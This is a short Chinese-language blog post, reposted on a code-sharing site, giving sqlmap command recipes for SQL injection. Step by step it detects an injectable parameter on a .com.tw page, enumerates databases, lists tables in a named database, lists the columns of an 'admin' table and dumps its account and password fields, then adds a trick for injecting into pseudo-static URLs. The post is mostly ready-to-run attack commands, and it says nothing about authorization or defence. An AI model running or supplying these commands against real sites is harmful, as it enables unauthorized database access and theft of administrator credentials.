码迷,mamicode.com
首页 > 数据库 > 详细

SQLMAP 实用技巧

时间:2016-08-02 22:26:09      阅读:202      评论:0      收藏:0      [点我收藏+]

标签:sqlmap

基础版:


  1. 检查注入点


    sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11

  2. 列数据库信息


    sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11 --dbs

  3. 指定库名列出所有表


    sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11 -D vhost48330 --tables

  4. 指定库名表名列出所有字段


    sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11 -D vhost48330 -T admin --columns

  5. 指定库名表名字段dump出指定字段


    sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11 -D vhost48330 -T admin -C ac,id,password --dump





SQLMAP伪静态注入:

注入页面:http://www.xxx.org/news/class/?103.htm

命令:python sqlmap.py -u “http://www.xxx.org/news/class/?103*.html”


本文出自 “TheAuroraSec” 博客,请务必保留此出处http://aurorasec.blog.51cto.com/9752323/1833681

SQLMAP 实用技巧

标签:sqlmap

原文地址:http://aurorasec.blog.51cto.com/9752323/1833681

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!